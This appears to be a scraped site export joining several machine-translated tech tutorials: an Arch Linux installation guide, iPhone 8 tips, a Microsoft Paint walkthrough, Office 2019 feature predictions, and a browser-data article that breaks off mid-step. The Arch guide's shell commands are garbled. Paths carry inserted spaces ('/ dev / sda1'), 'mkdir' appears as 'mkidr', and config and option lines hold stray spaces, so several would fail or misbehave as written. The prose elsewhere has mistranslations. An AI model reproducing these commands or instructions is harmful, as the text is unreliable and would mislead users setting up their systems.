Linux distributions bring new life to old computers 12 best Linux server operating systems 6 best media server software for Linux Before installing Arch Linux, you need to download the ISO file and burn it to a USB drive or DVD.\nStep 1 . Visit the download page of Arch Linux at the address below and download the ISO file (in the HTTP Direct Downloads section).\nhttps://www.archlinux.org/download/  Step 2 . Using a bootable USB creation software, create a USB boot.\nStep 3 . After creating the USB boot, plug in the computer and start it.\nNote : To install Arch Linux, you should use a wired network because the wireless connection requires more configurations not covered in this tutorial.\nInitial setting Choose to boot into Arch in the initial boot menu, usually the first option. You will be taken to the Command prompt and logged in as root.\n  To get started, make sure the clock is on time with the following command:\n timedatectl set-ntp true  Hard drive configuration It's time to set up your hard drive. There are several ways to configure the hard drive, but using cfdisk is the simplest way.\n cfdisk  If the hard drive does not have a partition table, you will be asked to set up a table. Choose DOS although this is not the latest option but easier to work with.\nAdvantages and disadvantages of hard drive partitioning   Next, you will see the hard drive partition table or free space listed. If your hard drive has been partitioned, you can skip this step and go to the next step. If you want to repartition, select them and select Delete at the bottom of the screen.\nSelect the free space you want to create the partition, then select New at the bottom of the screen, press Enter . Then enter the partition size you want to use. Repeat these steps for each partition. If you are unsure of the partition size, you can create a 512MB partition for / boot and use the remaining disk space for root (/).\nWhen finished, select Write from the bottom menu. Enter yes to confirm changes. Click q to exit.\n  Create file systems for your new partitions. In fact, this part is very easy, you just need to run the following commands, assuming your drive is '/ dev / sda.'.\n mkfs.ext4 / dev / sda1 mkfs.ext4 / dev / sda2  Mount partition Now, you are ready to mount the partitions and start setting up the system. Assuming your drives are '/ dev / sda1' and '/ dev / sda2, the setting will look like this:\n mount / dev / sda2 / mnt mkidr / mnt / boot mount / dev / sda1 / mnt / boot  Set up the basic system You can edit the mirror list of CDs here to select the latest downloaded mirrors. This operation is not really necessary and can be time consuming. If you want to do this, leave the mirrors closest to you at the top of the list '/etc/pacman.d/mirrorlist.\n  Use the pacstrap utility to boot your system on a newly mounted drive.\n pacstrap / mnt base  This process will take some time, you don't need to worry because the basic Arch will set up for you. When the process is complete, you can create Arch's fstab file. This file will monitor file systems (partitions) to mount to the system.\n genfstab -U / mnt \u0026gt;\u0026gt; / mnt / etc / fstab  Set up inside the new system   It's time to switch to the new Arch system by changing the root (chroot) into the system. Chroot is a way to 'piggyback' a Linux system onto another running system. Arch has a tool to implement this process.\n arch-chroot / mnt  As soon as you press Enter , the command prompt will change to reflect your new location in the Arch settings.\nSet time zone   Next, you need to set the time zone for the system. You need to look at '/ usr / share / zoneinfo' to determine your region and city, then link it to the local time of the system.\n ln -sf / usr / share / zoneinfo / America / New_York / etc / localtime  Synchronize your system with hardware clock.\nhwclock --systohc\nLanguage setting You will need to set up the language and everything else related to it correctly. Open /etc/locale.gen and do not take notes (by deleting # in front of the line) the location you choose.\nRun the following command to create your location\n locale-gen  Create a file at /etc/locale.conf and place the location you selected in this file as the example below.\n LANG = en_US.UTF-8  Network setup Next we will configure the basic network. You will first install the hostname of the computer in / etc / hostname.\n yourhostname    Add the hostname to the \"/ etc / hosts\" file so your computer can link to itself.\n 127.0.0.1 localhost :: 1 localhost 127.0.0.1 yourhostname  Finally, in order to have a network connection when booting, enable DHCP service at startup.\n systemctl enable dhcpcd  Set up user accounts From the beginning, you're working as a root user. For security, change the root user password by running the passwd command and entering a new password.\n passwd    Next, you need to create user accounts for daily use.\n useradd -m -G users, audio, input, optical, storage, video -s / bin / bash username  Providing a new password performs as root user but needs to specify the username in the passwd command.\n passwd username  System task   You will need to create an initramf for your system to handle some common tasks like LVM, disk encryption and RAID.\n mkinitcpio -p linux  Before restarting, install the bootloader, GRUB with Pacman.\n pacman -S grub  Install GRUB on your hard drive so it can boot before Arch.\n grub-install --target = i386-pc / dev / sda  Finally, set up GRUB's configuration on the \"/ boot\" partition.\n grub-mkconfig -o /boot/grub/grub.cfg  When done, type exit to exit chroot. Disconnect your partitions and reboot into Arch.\n exit umount -R / mnt reboot  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZKWwKqvjJqpnKBdobavwdc%3D\n","link":"/post/instructions-for-installing-basic-arch-linux/","section":"post","tags":null,"title":"Instructions for installing basic Arch Linux"},{"body":"iPhone 8, 8 Plus is the flagship duo launched at the same time as the iPhone X, so it seems that these two models are not much noticed by Apple's first overflow screen smartphone. However, the duo still has highlights that many users are willing to withdraw to own.\nDesign is the first change that users see, in addition, users will also be improved on cameras, monitors and external speakers, connectivity . of these two flagship models. In addition, there are many other things that users can refer to below the article if they just bought one of these two high-end smartphones.\nHow to obscure notification content on iPhone How to reduce \"System\" storage capacity on iPhone or iPad Instructions for using iPhone 7, iPhone 7 Plus for newbies 7 things you should do when broken smartphone screen How to restore iPhone and use Recovery mode Instructions for using iPhone 8, 8 Plus with new people 1. Basic operation   In terms of design, the iPhone 8 and 8 Plus are not much different from the iPhone 7 and 7 Plus, except for the use of stronger aluminum and both sides use glass tiles. As for the layout of the hard keys, the iPhone 8 and 8 Plus are not much different than the iPhone 6, 6 Plus or iPhone 6s, 6s Plus before.\n  For how to use shortcuts on iPhone 8, 8 Plus. You can refer to the article Guide to using iPhone 6, iPhone 6 Plus basic. In addition to shortcuts, users will be able to use the 3D Touch feature, which is also a feature that appears from the flagship 6s and 6s Plus, you can customize the sensitivity of the 3D Touch feature on the main screen in the article You have Know the tricks to use 3D Touch on iPhone?\n  2. Wireless charging   One of the biggest differences on the iPhone 8 Plus is the wireless charging technology, wireless charging will help users not to use the normal charging cable device. No more entangled with charging cords and fire concerns when encountering poor quality charging cable. And you'll just need to get a quality wireless charger for the iPhone 8, 8 Plus to use, how can you refer to the iPhone Wireless charging article? To choose for yourself a charger and how to charge it properly.\nIf you are using a wireless charger for iPhone 8 and 8 Plus but they are having problems, please refer to a few tips to fix wireless charging that does not work in the article How to fix wireless charging errors on iPhone 8, 8 Plus , iPhone X.\n3. Camera   iPhone 8 and 8 Plus, apart from the new features only available on their devices, all the features from previous iPhone models, if you know how to make the most of these features, you will have the best photos. no less shimmering, without having to use any software or application. See also Some tips and tricks on using Camera on iPhone (part 1) and (part 2).\n4. Refine the iPhone screen   One of the tips you can use on the iPhone 8 Plus is to split the screen. This feature has long existed on the flagship Android, split screen will help you be more flexible operation such as using 2 applications at the same time on your screen. Just surf the web, watch YouTube, or just use Facebook and read newspapers online. This feature will help you reduce operations when you have to re-access applications on your device. Refer to the article How to split the screen on iPhone.\nWith the lock screen, you can add effects when locking the iPhone screen such as screen break or screen rotation . Especially when tweaking will not require Respring users to reinstall the device, which most tweaks Anything will have to be done. You can view more effects and install them in the article How to add iPhone lock screen effect.\n5. Connect to iTunes   iPhone 8 and 8 Plus also use the iOS operating system as the old iPhone models, so copying music, video or data from computers to phones must go through many stages. Because you also know iOS devices, copying data will not be equal to devices using Android operating system.\nThere are many software that supports copying music to iPhone like iTools or 3uTools . But most often still is iTunes, free support and almost popular and can run well on Windows, Mac and software that Apple Good support for users. However, many new users still do not know how to copy data from computer to iPhone, you can look at the article How to copy music to iPhone, iPad from computer? to copy music from computer to iPhone 8 and 8 Plus.\nIn addition, you can copy videos with instructions in the article How to convert videos from your computer to iPhone with iTunes and copy images into iPhone 8 and 8 Plus in the article How to transfer images directly from the camera to iPhone. You can create ringtones with iTunes to copy to iPhone via article How to create iPhone ringtones with iTunes.\n6. Broadcast Wifi and customize Control Center interface   The first is that you can turn your iPhone into a WiFi broadcast device for your phone or laptop computer, this feature is available on your iPhone or iPad and you don't need to use any application. You can see the instructions in the article How to play WiFi with iPhone / iPad.\n  To change the main screen interface of iPhone 8 and 8 Plus, you can use many different applications to apply effects. But with the Control Center screen, there are very few applications that can be adjusted, and can only be tweaked on iOS 11 and above and Jailbreak , see more articles on how to adjust the screen How to adjust the iPhone Control Center interface.\n7. Find iPhone 8, 8 Plus when lost   At some point you lose your iPhone, forget it in a taxi, get stolen . then how will you find your iPhone, run the taxi or chase the thief? to get back. It takes a lot of time and is dangerous. Please use the Find your iPhone feature in the article Find iPhone, iPad lost by Find My iPhone.\nThere are a few features you can use on your iPhone, there are a lot of iPhone tips and tricks that you can refer to in the iPhone / iPad section of Quantrimang. Hopefully, the iPhone tips and tricks above will make your iPhone more effective when used in your work and life.\nSee more:\nCheck IMEI and check the origin of Android and iPhone phones 4 ways to uninstall apps for Android devices Instructions to root Android easily and quickly 10 best Android emulator software for Windows Tips to download games, Android applications do not support in Vietnam do not need VPN ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnIqZ%2BoppVihW6EjKmjrqtdm7yzec2erpuhlag%3D\n","link":"/post/instructions-for-using-iphone-8-8-plus-for-newbies/","section":"post","tags":null,"title":"Instructions for using iPhone 8, 8 Plus for newbies"},{"body":"Microsoft Paint (often called Paint) is a simple graphics application available on Windows operating systems, but many users still do not know all the features and how to use the tools that Paint provides. If you want to learn more about Paint so you can use Paint when needed, please refer to the article below.\n  Here are instructions for how to use Paint in Windows the most complete and detailed from how to open Paint, use Paint to edit photos, use Paint to draw, how to save images in Paint, shortcut key combinations in Paint . Invite you to refer to the article.\nOpen Paint in Windows Click on the Cortarna icon or search box, enter the Paint keyword into the search box and select the Paint application.\n  So you opened Paint on Windows.\n  Use Paint to edit photos 1. Open the image file to be edited On the Paint interface, select File -\u0026gt; Open.\n  Then navigate to the image file to edit and click Open .\n  2. Display mode, enlarge, reduce the image On the Paint interface, select the View tab , in the Zoom section you can enlarge the image by clicking Zoom in , clicking Zoom out if you want to shrink the image, choose 100% if you want to keep the size Picture.\n  In the Show or hide section , you can hide / show the horizontal ruler, vertical ruler ( Rulers ), the grid lines in the image ( Gridlines ), the bottom status bar ( Status bar ). If you want to display any part of the box you want to check before the section name, if you want to hide you just uncheck the box.\n  3. Cut photos in Paint Select the Home tab , select Select then hold the mouse to drag the area to crop and select Crop (or Ctrl + Shift + X ) to cut.\n  So your image will be cropped according to the image area you have just selected.\n  For details on how to crop photos in Paint, you can refer to the article http://TipsMake.vn/huong-dan-cach-cat-anh-bang-paint/\n4. Select the image area in Paint In the Image section of the Home tab , click on the word Select , here you have two ways to select the image area:\nRectangular selection : select according to the rectangular selection Free-form selection : choose freely.   If you select the Rectangular selection , you just need to hold down the mouse from the starting point to select and drag to the desired position.\n  If you select Free-form selection , hold down from the starting point and draw a selection as you like.\n  If you want to select all images you can choose Home -\u0026gt; Select -\u0026gt; Select All (or Ctrl + A combination ).\n  5. Copy and move the selection After selecting the image area you can copy the selection by selecting Home -\u0026gt; Copy ( Ctrl + C combination ), if you move then select Home -\u0026gt; Cut ( Ctrl + X combination ).\n  Then choose Home -\u0026gt; Paste (Ctrl + V) to copy or move.\n  The image area just copied and moved is displayed at the first position of the image, you press and hold and drag to the position you want.\n  6. Resize images in Paint In the Home tab, select Resize .\n  Resize and Skew dialog box appears , in the Resize you can choose to change the image size by percentage size ( Percentage ) or by size ( Pixels ). Then you enter a new size for the image in the boxes Horizontal (horizontal image), Vertical (vertical image) and click OK .\n  For details on how to resize photos in Paint, you can refer to the tutorial http://TipsMake.vn/huong-dan-thay-doi-kich-thuoc-resize-anh-bang-paint/\n7. Rotate photos in Paint If you want to rotate the image, then you select Home -\u0026gt; Rotate -\u0026gt; select the rotation style . Paint supports you with many types of rotation:\nRotate right 90o: rotate right 90 degrees. Rotate left 90o : rotate left 90 degrees. Rotate 180o : rotate 180 degrees. Flip vertical : flip vertical. Flip horizontal : flip horizontal.   8. Add text to pictures in Paint Click the A symbol in the Home tab , then draw an area on the image and enter the text in the selected area.\n  To edit the text you highlighted the text just entered and select the Text tab , here you can edit the background, font color, font size, font style .\n  For details on how to add text to photos in Paint, you can refer to the article http://TipsMake.vn/ghep-chu-vao-anh-bang-paint-co-san-tren-windows/\nUse Paint to draw 1. Create a blank page to draw  Choose File -\u0026gt; New (or Ctrl + N combination ), you will have a white Paint page.\n  You can click on the knob (bottom corner, middle right edge or middle edge) and pull out, retract to get the appropriate page size.\n  2. Set up color palettes The squares in the Color section are the palette, there are two types of colors: Color 1: foreground color, Color 2 : background color (background). The background color to use when you draw the shapes. To select the foreground color, select Color 1 and choose any color in the palette, choose the background color you choose Color 2 and choose any color in the palette.\n  3. Drawing with the pen tool (Pencil) Click on the Pencil icon, then click on the drawing color and keep clicking on the white page and draw what you want.\n  4. Delete the error details with the Eraser tool The eraser tool helps you erase the details of the color error on the Color 2 background , so if the white background you need to set Color 2 to white. Next, select the Eraser icon , then hold and hover over the area to be deleted.\n  You can adjust the eraser size in the Size section .\n  5. Fill the background and solid colors Select the Fill with color icon , choose the color to fill in the palette, then click on the background or bricks to fill.\n  6. Write words on the picture You write the text similar to adding text to the image above.\n7. Copy colors on the drawing Use the Color picker tool to copy the color on the canvas into the Color 1 box on the palette. You do the following:\nClick the pen icon ( Color picker ) then dot the pen to the color to copy on the image, immediately on the color box Color 1 will appear the color you have just selected.\n  8. Draw straight lines, curves and bricks Draw a straight line\nClick the line icon in the Shapes section , choose the size for the line in the Size section , choose the color in the Colors palette .\n  Then you click on the Paint page and paint in any position you want.\n  Draw the curve\nClick the curve icon in the Shapes section , choose the size for the curve in the Size section , choose the color for the curve in the Colors palette . Then you click on the Paint page and draw curves, the new curve is just a straight line as shown below.\n  To adjust the curvature of the curve, click anywhere on the curve and drag the curve as you like.\n  Draw other bricks\nYou can select the shape you want to draw in the Shapes section (ellipse, rectangle, triangle, rhombus, 4-pointed star, 5-pointed star, left arrow, right arrow .) .). Next you choose the border style for the shape in the Outline (the color of Outline is Color 1 in the palette), the background color of the shape in the Fill part (the color of the Fill is Color 2 in the palette). If you want to change the color for any color, then you select that Color and choose the color in the palette.\n  You can choose the size of the border of the bricks in the Size section, then you draw at the position you want on the Paint page.\n  9. Use the Brushes tool The Brushes tool is a drawing tool similar to the Pencil, but this tool provides a variety of brush styles for you to choose from.\n  Save drawings and images after editing in Paint After editing and drawing, select File -\u0026gt; Save As to save the image as a new file.\n  The Save As window appears, select a location to save the file, enter a file name and click Save to save.\n  Summary of commonly used shortcut combinations in Paint Ctrl + A \u0026nbsp;\u0026nbsp;selects the entire image.\nCtrl + C \u0026nbsp;\u0026nbsp;copy selected area.\nCtrl + X \u0026nbsp;\u0026nbsp;cuts the selected area.\nCtrl + V \u0026nbsp;\u0026nbsp; paste the selected area.\nCtrl + Z \u0026nbsp;\u0026nbsp;return to the previous operation.\nCtrl + Y \u0026nbsp;\u0026nbsp;undo the Ctrl + Z operation.\nCtrl + E \u0026nbsp;\u0026nbsp;see image details.\nCtrl + G \u0026nbsp;\u0026nbsp;show / hide grid.\nCtrl + P \u0026nbsp;\u0026nbsp;set photo printing.\nCtrl + R \u0026nbsp;\u0026nbsp;hide / show the ruler.\nCtrl + W \u0026nbsp;\u0026nbsp;opens the Resize and Skew dialog box.\nCtrl + N \u0026nbsp;\u0026nbsp;creates a new image.\nCtrl + O \u0026nbsp;\u0026nbsp;opens the image available on the computer.\nCtrl + S \u0026nbsp;\u0026nbsp;saves the edited image.\nCtrl + Page Up \u0026nbsp;\u0026nbsp;zoom out.\nCtrl + Page Down \u0026nbsp;\u0026nbsp;enlarge.\nAlt + F \u0026nbsp;\u0026nbsp;opens the Custom Menu.\nAlt + H \u0026nbsp;\u0026nbsp;displays the shortcut key / Switches the Home tab.\nAlt + V \u0026nbsp;\u0026nbsp;switches to the View tab.\nAlt + F \u0026nbsp;\u0026nbsp;closes the window.\nAlt + Esc \u0026nbsp;\u0026nbsp;quickly reduce MS Paint application.\nAlt + Spacebar\u0026nbsp;  \u0026nbsp;quickly access right click on Title Bar.\nF1 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; opens help on Paint.\nF11 \u0026nbsp;\u0026nbsp; see pictures in full screen mode.\nF12 \u0026nbsp;\u0026nbsp; saves images as new files.\nEsc \u0026nbsp;\u0026nbsp; removes the selection.\nDelete \u0026nbsp;\u0026nbsp; deletes the selection.\nHopefully, with the instructions that the article will share you will see the usefulness of Paint in Windows, you will be able to use Paint in necessary cases without using other image editing software. . Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnUrJxmqJGeu7V5yKdksKGemby4vw%3D%3D\n","link":"/post/instructions-on-how-to-use-paint-in-windows/","section":"post","tags":null,"title":"Instructions on how to use Paint in Windows"},{"body":"Microsoft has been quite tight-lipped about Office 2019, but the features deployed for Office 365 provide some useful 'clues'. Discover the latest additional features for Office 2019 through the following article!\nIt's almost time to release the next major revision of Microsoft Office. Office 2019 is expected to be released later this year. Microsoft calls this the \"permanent\" version of Office because you pay only once and can own it forever, and it won't be upgraded until the next major version is released.\nThat is in contrast to Office 365, which requires a monthly or yearly subscription fee and is constantly updated.\nMicrosoft has released a commercial preview of Office 2019 for customers. Jared Spataro, Office's General Manager, noted in a blog post in April that \"updates include new features and improvements on applications, such as roaming pencils, pressure sensitivity.\" force and tilt effect, stronger data analysis in Excel, such as new formulas, charts and Power BI integration, as well as more subtle presentations in PowerPoint, such as Morph and Zoom. \"\nAnd as you know, Office 2019 will be based on Office 365 and includes features from Office 365, which has been introduced since Office 2016 deployment in September 2015. Microsoft has not developed a separate code base for Office. 2019, so it won't have any features that Office 365 doesn't have.\nBased on that, users will review all Office 365 updates, check each important feature, analyze Microsoft reviews, review the features introduced in the preview version of Office 2019 and offer the The most reasonable prediction of the features you can expect in Office 2019, when it is officially released. The following article will describe these features in detail, including how they work in Office 365 and screenshots that make it easier for readers to understand. It cannot be guaranteed that predictions will be 100% accurate, but they are very likely to come true.\nRemember that Microsoft is constantly updating Office 365 and some future updates may apply to Office 2019. So check back often to see if there are any new features you are expecting. No!\nCollaborate in real time for Excel When Office 2016 was released, Word, PowerPoint and OneNote all had online collaboration tools. These tools allow people to work together on documents in real time, as long as they are stored in OneDrive, OneDrive for Business or SharePoint Online. In July 2017, the real-time collaboration feature was finally included in Excel in Office 365. So the opportunity will also appear in Office 2019.\nIf you've used Word, PowerPoint and OneNote to collaborate in real time, you'll be instantly familiar with the version of Excel, because it works in the same way. When you want to collaborate with others on the workbook, open it, then click the Share button at the top right of the Excel screen. From there, you will send invitations to others to share that sheet.\nWhen they accept invitations and edit workbooks at the same time, you will see the changes they make in real time through a color cursor indicating their presence in the file (each collaborator receives one different colors). Your cursor is also displayed on the screen with a specific color and others will see the changes you make. When someone performs tasks such as entering data or formulas into cells, the changes will appear. Place your cursor on someone else's cursor and the person's name will appear above the cursor, making it easy to track what people are doing. Usually all this happens in real time, although there may be a few seconds delay if people are using a slow or unstable internet connection.\n  New charts and formulas for Excel In Jared Spataro's April blog post about Office 2019, he wrote: 'New formulas and charts will make Excel data analysis more robust.' Frequently asked questions about the commercial preview of Office 2019 note that they include:\nFunnel chart and 2D map New Excel functions and connections Ability to export from Excel to PowerBI PowerPivot improvements PowerQuery improvements No details are provided. However, it is very likely that one of them will be added to Excel as in the major update of Office 365 in the February 2016 update. At that time, six new functions for editing the formula will be added. TEXTJOIN and CONCAT functions allow you to combine text strings from ranges with or without the separator separating each item, such as a comma. You only need to provide the range, specify the separator and Excel will do the rest. Two additional functions are IFS and SWITCH, which define a series of conditions, for example, when using nested IF functions. And the last two functions, MAXIFS and MINIFS, make it easier to filter and calculate data in different ways.\nThe funnel chart, which will be added to Excel 2019, was also added in the February 2016 update. The funnel chart displays values ​​in multiple stages in a process. The funnel chart can show the number of sales prospects at every stage of the sales process. For example, potential customers will be at the beginning of the first stage, qualified prospects below in the second stage, etc., until the final stage, sales. In general, the values ​​in the funnel chart decrease in stages, so the bars in the chart look like a funnel shape.\n  Map chart will also appear in Office 2019, as it was introduced in November 2016 update for Office 365. Use the map map when you want to compare data across regions Different geography, such as country, region, state, county or postal code.\nFrame Translator, Editor and Researcher for Word Now, quite a lot of word processing features you need have been included in Word. So how can Microsoft continue to improve Word? Adding Word to Office 365 in the past two years, is to solve the entire writing process, not just writing. It is possible that those changes will be included in Office 2019 when it comes to the public.\nAs expected, three of these types of features will be available in Office 2019, including the Translator, Researcher and Editor framework. Translator does translation work and is easy to use. With it, you will be able to translate words, phrases and entire documents between languages. It's part of Microsoft's plan to build AI artificial intelligence across Office, and it uses what Microsoft calls 'Intelligent Services'.\nHere's how it works in Office 365 and possibly in Office 2019. To translate words or phrases, first select the word or phrase, then right-click your selection and select Translate from the menu. appear. If this is your first time using Translator or any other Microsoft Intelligent Services , the screen will appear asking if you want to enable them. Click Turn On . You only need to do this once, for Translator or any other feature using Intelligent Services.\nAfter doing this step, the Translator frame will appear. The top of the window displays your selection and the bottom shows the translation. The top of the frame will determine the original language and this function works quite well. However, if it is wrong, just select the appropriate language. Then, at the bottom of the window, select the language you want to translate. When you do that, the translation will appear. To insert it somewhere in the document, move the cursor to where you want it to appear and click Insert at the bottom of the frame. You can also copy and paste any part of the translation into another document or document.\n  To translate the entire document, go to the Ribbon and select Review\u0026gt; Translate\u0026gt; Translate document . Khng Translator will appear. Select the language of the document, then select the language you want to translate and click the Translate button. The translated document will open in a new Word window, then you can save or copy parts of that translation.\nFor Researcher, this is a great way to do online research right from within Word. It is much more efficient than just doing a simple Internet search, because it only uses information from references and sources that Microsoft considers reliable, guaranteed by a service named Microsoft Academic Search . It also includes results from Wikipedia and Bing that are believed to be reliable.\nTo use the Researcher, select References\u0026gt; Researcher and the Researcher frame will appear on the right side of the screen. Enter the search term at the top of the screen and you will get the result list. Click any page to access the full results page and get more details. The results will come from academic journals, books and trusted websites.\nEspecially useful when Researcher integrates content directly into Word. So you can turn a category into a heading in the article. When you do that, a comment is also added to the document, including the link that, when clicked, displays the original study in the Researcher frame each time you read the document. Students and scholars will be very supportive if they can add a direct quote from the Researcher frame to the document. You can also add text from the Researcher frame or any text and include citations.\nThe same is expected in the Editor framework in Word 2019. It replaces the Spelling framework and the Grammar framework, as well as adding some new editing features, though not significantly. It not only displays the misspelled word in the frame, but also the text around it, making it easy to see the proposed correction in the entire context. It also provides synonyms for editing suggestions, so users will have more options to use. Finally, it offers grammatical rules to explain why it is suggested. To use this feature, select Review\u0026gt; Spelling \u0026amp; Grammar from the Ribbon.\nIn addition to all of the above, Microsoft said the following will be available in Word in Office 2019:\nDark theme Sound in Office Subtitles for audio learning and description tools Text-to-speech feature (Text-to-speech feature) Accessibility improvements Auto archive for Word, Excel and PowerPoint If the AutoSave feature is added to Office 2019, it is likely, it may not be mentioned much, but may be the best tool to save time and increase productivity. As the name of this feature, it will automatically save your files without doing anything. Therefore, there is no need to worry about system problems, power outages, Office incidents and other problems. If there is a problem in Office, the user will be protected. You won't have to do the work again or try to recover them with the AutoRecover feature integrated into the Office 2016 version when it crashes (the AutoRecover feature is already active in Office 365).\nPreviously, AutoSave only works on documents stored in OneDrive, OneDrive for Business or SharePoint Online. It is a good example of how Microsoft continually promotes users of automated services.\nAutoSave is significantly different and much better than the AutoRecover feature built into Office 2016. AutoRecover does not save your files in real time, so you will easily lose data if something goes wrong. Instead, every few minutes, it will save an AutoRecover file, so users can restore the file in case something goes wrong. But this feature does not always work (for example, if you do not open Office properly after the problem or if the problem is not in the definition of Microsoft problems, the document file will not be restored. ). And Microsoft also noted, \"AutoRecover is only effective for unwanted interruptions, such as power outages. AutoRecover files are not designed to save when logout or shutdown starts automatically from the user. 'And of course, the files are not saved in real time with the AutoRecover feature, so you will lose the amount of work done in a few minutes before the crash.\nHandle common situations when using Office 365 By default, in Office 365, AutoSave is enabled and will likely remain in Office 2019. To turn it off (or turn it back on), use the AutoSave button at the top left of the screen.\nSome people can turn off the AutoSave feature because they fear that making changes doesn't need to be saved and with disabling the AutoSave feature, they have control over the changes that need to be kept. But here, AutoSave has a pretty good solution to this problem. You can easily revert to previous versions of files, review them, compare them in parallel with the current version, and copy and paste from the old file to an existing file. You can even restore the whole old version.\nTo do that, when you open a file, click the file name at the top of the screen. A menu will show you the location of the file and the Version History section. Click \" See all versions \" and the Version History will appear on the right side of the screen with a list of previous versions of the file, including the date and time of the last save. Click on ' Open version ' and that version will appear in a new window. Scroll through the version and copy any content you want. If you want to compare it to your current version, click Compare . To restore, click Restore .\nNote: There is a faster way to display the Version History frame: Click the Version History button in the upper right corner of the screen (looks like a clock surrounded by a circle arrow).\nThe redesigned ribbon with new colors and icons and search functionality can be improved Whether users like it or not, the Ribbon has been constantly present in Office since it was first introduced in Office 2007. Ribbon has had an improvement over the years, but now it has officially received one. Big changes for the first time in Office Online and Office 365. New designs will make the Ribbon more neat and simple.\nThe current version of Ribbon has what Microsoft calls \"three rows\" - the tab name at the top and below are two rows of icons representing different features, then the bottom is an arrow. Click to display grouped items, such as Font, Paragraph, etc. in the Home tab of Word. The new design will have only two lines - a tab name and a single icon row. Grouped items will be removed. However, those who like the current Ribbon design will still be able to use the option to display these items.\n  It is not clear how many Ribbon is put into Office 2019 or which application will use it. In a June blog post describing the change in Office 2019, Spataro said the first application to use the Ribbon would be the online version of Word, followed by Outlook for Windows. But Microsoft said it will remain cautious with the change. Spataro said: 'Users have a lot of memory built around these versions, so we plan to be especially careful with changes that may disrupt their work. \"\nMicrosoft is also planning to launch new colors and icons throughout Office and it is also implementing a new search feature for Office to use Machine Learning to provide personalized search results based on patterns used in the past. Using \"search without query\" (according to Microsoft call), when you place your cursor in the search box, the tool will make suggestions about what you might be looking for.\nLike Ribbon, new colors, icons and improved search boxes will appear for the first time in Office online and will then be included in the Office 365 for desktop application, but not sure if they will appeared in Office 2019.\n  Morph, Zoom and Designer for PowerPoint Jared Spataro's April blog post about Office 2019 notes that it will add new animation features to PowerPoint, including Morph and Zoom. With that list, Designer can also be added to Office 2019 because it has been added to Office 365 since the release of Office 2016.\nPowerPoint's Animations tab gives you great tools to create animations between slides and within those slides. But no animation is easy to use and creating animations can be quite time consuming. Morph allows you to show motion in transition steps and inside slides, but does not need to use the Animations tab.\nTo do that, you copy an existing slide, then make changes to the recently copied slide, such as narrowing an element or multiple elements in it, developing them, moving them. Go to a new location or rotate them to the other direction. Then, when you apply Morph to that slide, PowerPoint automatically creates a transition animation between slides. On the screen, they look like a single slide changed. To use it, select Morph from the Animation tab.\n  Zoom allows you to easily link parts of a slideshow by creating a visual content type that allows you to quickly zoom from one part to another. When you are in the slideshow, select Insert\u0026gt; Zoom, then select the slides you want displayed in the 'Zoom' slide. A new slide is created with thumbnails of those slides. When making a slideshow, you will be able to jump to that slide immediately by clicking on the thumbnail of the slide.\nFor Designer, that's another example of how Microsoft plans to use AI artificial intelligence to enhance Office. When you add graphics to a slide with text on it, Designer will view the word and graphics, check the rest of the slide show and propose the layout that it thinks is most suitable for the slide. Choose a layout you like.\nQuickStarter for PowerPoint Another smart feature enhanced for PowerPoint is QuickStarter. This feature will be welcomed by anyone who has had trouble facing the fill in a presentation. It gives you a leap when presenting in PowerPoint by helping you create research and sketches.\nStart by entering the theme of the presentation and then select from the list of sub-topics. Once you do that, it shows a complete set of slides that you might want to use, based on Bing searches and data, as well as information gathered from Wikipedia. Select the slide (s) you want, then select the interface for those slides, including a theme complete with background graphics. You now have a sketch of your presentation and it only takes a few minutes for it.\nDon't expect QuickStarter to excel at every topic. To use QuickStarter, when you create a new slideshow, click the QuickStarter icon.\n  New Inking feature for Word, Excel and PowerPoint Microsoft believes in Inking - a feature that allows people to use pens on touch devices in as many applications as possible. You can draw on the screen with your finger, stylus or mouse, choose from the pen on the screen with different colors and intensities. Microsoft has made regular improvements to this feature in Office 365 and the company plans to add them to Office 2019.\nMicrosoft said it would add features such as 'pressure sensitivity, tilt effect, and Ink replay', so hopefully they will be part of Office 2019. It is also reasonable to expect that Microsoft will add a series of tools for Inking, introduced in Office365, such as the ability to edit documents in Word using a pen - move a piece of text to delete it, draw circles to choose text and more; the ability to move and resize objects with pen in all Office applications; as well as a variety of effects, including metal pens and effects like rainbows, galaxies, lava, oceans, gold and silver. There may also be new colors and sizes for pens in Office 2019, as they were introduced in Office 365.\nAlso, the Ink Replay feature is expected to appear in Office 2019, as in Office 365. It is especially useful if you handle a document with lots of markings on it. On the Draw tab, select Ink Replay and it repeats all the places marked with Ink made on the page, from start to finish. That way you can try to follow the marked logic and thinking processes.\nAdditional features for PowerPoint and Outlook There will be other additions in Office 2019. Here are the new features in PowerPoint and Outlook, according to Jared Spataro's April blog post:\nPowerPoint Advanced zoom capabilities use the PowerPoint Morph feature Ability to manage icons, SVG images and 3D The ability to use roaming pencil case allows you to move objects using a pen Outlook Updated contact cards Office 365 Groups @mentions Focused inbox Travel package cards A final note about Office 2019 overall: It is likely that this will be the last \"permanent\" version of Office and then, it will pay monthly or yearly to use Office, like Office 365. But Microsoft has not yet made a formal decision.\nIn fact, Microsoft will continue to assess customer needs and industry trends to determine a plan for future versions of its products and services.\nSee more:\nCompare Microsoft Office 2016, Office 365 and Office Online How to register to download Office 365 for free for students / teachers Microsoft Office Online: Free, full of essential features, latest version, everywhere use, no loss of files, what are you waiting for without trying? ncG1vNJzZmismaXArq3KnmWcp51kuaLAxKyrZp6VlsG2vsSsZKieXaK2pL7OrKafrF2ks6e1wp5ka2hhbg%3D%3D\n","link":"/post/latest-features-of-microsoft-office-2019/","section":"post","tags":null,"title":"Latest features of Microsoft Office 2019"},{"body":"Currently most users choose to manually delete browsing data, the browser saves the browsing data and keep it until you perform deleting them in most cases is useful because you can Check visit history and revisit those pages without spending too much time searching.\nDownload Google Chrome for Windows Download Google Chrome for Android Download Google Chrome for iOS However, if you share a computer and don't want others to know what you have done, manual deletion will take a lot of time, now you really want the data to be deleted automatically when exiting. Browser. This article will help you do that.\nHere are instructions for doing that that apply on Chrome and Mozilla Firefox.\nGoogle Chrome Chrome does not have the option to delete all data when the browser is turned off but only to delete cookies. However, there is an extension in Chrome Web Store that compensates for this shortcoming. Usage is as follows:\nStep 1 : Open Chrome browser\nStep 2 : Access the 